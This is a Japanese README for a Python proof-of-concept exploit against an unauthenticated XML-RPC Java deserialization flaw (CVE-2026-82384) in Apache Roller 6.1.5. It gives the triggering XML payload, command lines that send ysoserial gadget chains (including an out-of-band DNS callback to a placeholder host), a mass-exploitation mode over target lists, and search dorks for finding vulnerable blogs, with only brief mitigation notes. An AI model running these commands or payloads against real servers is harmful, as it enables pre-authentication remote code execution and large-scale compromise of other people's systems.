
CVE-2026-82384 の Python PoC: ysoserial ペイロードを用いて Apache Roller 6.1.5 の未認証 XML-RPC Java デシリアライゼーションを検出・悪用し、一括スキャンに対応。
CVE-2026-82384 の Python 3 PoC — Apache Roller 6.1.5 のレガシー XML-RPC サーブレットにおける未認証の Java デシリアライゼーション。
PoC ページ: https://pocbit.org/pocs/cve-2026-82384
Apache Roller は Java ベースのマルチユーザー ブログサーバー(歴史的には「Roller Weblogger」)です。通常は Tomcat WAR としてデプロイされ、/roller-ui/ 配下に UI、/roller-services/xmlrpc に XML-RPC 経由のレガシー Blogger / MetaWeblog API を持ちます。Roller 6.1.5(2025年9月)は無関係なセッション問題(CVE-2025-24859)を修正しましたが、本 CVE にとって危険な設定のまま XML-RPC スタックを残しました。
CVE-2026-82384 は XML-RPC エンドポイントにおける信頼できないデータのデシリアライゼーション(CWE-502)です:
XmlRpcServlet は enabledForExtensions=true で設定されているため、Apache ws-xmlrpc ライブラリはベンダー拡張型を受け入れます。これには ex:serializable — base64 エンコードされた Java シリアライズオブジェクト — が含まれます。web.xml に常に存在するため、管理者が Roller 設定で XML-RPC を無効化(webservices.enableXmlRpc=false)してもパーサーは依然として実行されます。UI で機能を無効化しても、6.1.5 ではこの事前認証パスは閉じられません。影響範囲: Apache Roller 6.1.5 のみ(ベンダーアドバイザリによる)。
修正済み: Apache Roller 6.1.6+(PR #171):enabledForExtensions=false、および XML-RPC がグローバルに無効化されている場合のリクエスト拒否。
| 指標 | 値 |
|---|---|
| CVSS 3.1 | 9.8 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 認証 | デシリアライゼーションプリミティブには不要 |
| 発見者 | n0mi1k |
| ベンダー | Apache Software Foundation |
| 項目 | 詳細 |
|---|---|
| エンドポイント | POST /roller-services/xmlrpc(/roller/roller-services/xmlrpc も試行) |
| Content-Type | text/xml |
| トリガー | methodCall 内の <ex:serializable xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">BASE64</ex:serializable> |
| ガジェットチェーン | クラスパスに依存(Commons Collections など)。多くの場合 ysoserial で生成 |
| 影響 | Tomcat/Roller の OS ユーザーとしての RCE。通常、ブログデータの完全な制御とホストへのピボットが可能 |
| モード | 動作 |
|---|---|
check | Roller のフィンガープリントを検出し、XML-RPC URL を特定。オプションで --probe-deser(ex:serializable プローブバイトを送信) |
exploit | あなたのシリアライズペイロード(ファイル、base64、または --ysoserial-jar 経由の ysoserial)を POST |
| Mass | --list targets.txt --mode exploit -j N — JSONL + exploited.txt による並列一括処理 |
PoCbit フィールド: すべての JSONL 行に pocbit、pocbit_catalog、pocbit_page。
CLI: カラーバナー、[HIT] / [EXPLOIT] / [FAIL] 行(--no-color で無効化)。
このリポジトリは実際に動作する RCE ガジェットチェーンを同梱していません(クラスパス依存のため)。実際の悪用には、ysoserial の出力または検証済みのペイロードファイルを提供してください。
pip install -r requirements.txt
RCE の場合(検出だけでなく):
URLDNS(アウトオブバンドでの証明)、CommonsCollections6(典型的な Roller クラスパス上でのコマンド実行 — まずラボで検証すること)python poc.py -u https://blog.example.com --mode check
python poc.py -u https://blog.example.com --mode check --probe-deser
python poc.py --list targets.example.txt --mode check -j 12
# OOB DNS proof (replace with your collaborator)
python poc.py -u https://blog.example.com --mode exploit \
--ysoserial-jar ysoserial.jar --ysoserial-gadget URLDNS \
--ysoserial-cmd pocbit.your-oast.domain
# Pre-generated base64 payload file
python poc.py -u https://blog.example.com --mode exploit --payload-file chain.b64
# Raw ysoserial bytes on disk
python poc.py -u https://blog.example.com --mode exploit --payload-file payload.bin
python poc.py --list targets.txt --mode exploit \
--ysoserial-jar ysoserial.jar --ysoserial-gadget URLDNS \
--ysoserial-cmd oast.example.com -j 10
出力:
cve_2026_82384_exploit.jsonl — ターゲットごとの JSONexploited.txt — ペイロードが受理された / OOB が送信されたターゲット<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>system.listMethods</methodName>
<params>
<param>
<value>
<ex:serializable xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">
BASE64_JAVA_SERIALIZED_OBJECT
</ex:serializable>
</value>
</param>
</params>
</methodCall>
6.1.5 では、このボディをパースすると、メソッドハンドラが認証情報を強制する前にデシリアライズが行われる可能性があります。
/roller-services/xmlrpc をブロックしてください(管理者 IP のみを許可リストに登録)。Apache Roller、/roller-ui/、ポート 8080/8443 のブログホストを検索してください。body="Apache Roller"
body="/roller-ui/"
body="/roller-services/xmlrpc"
title="Roller"
フッター、アバウトページ、または WEB-INF / リリースノートでバージョン 6.1.5 を確認してから、悪用可能と判断してください。
認可されたテスト対象システムでのみ使用してください。デシリアライゼーションのエクスプロイトはデータを破壊する可能性があり、悪用した場合は法律違反となることがあります。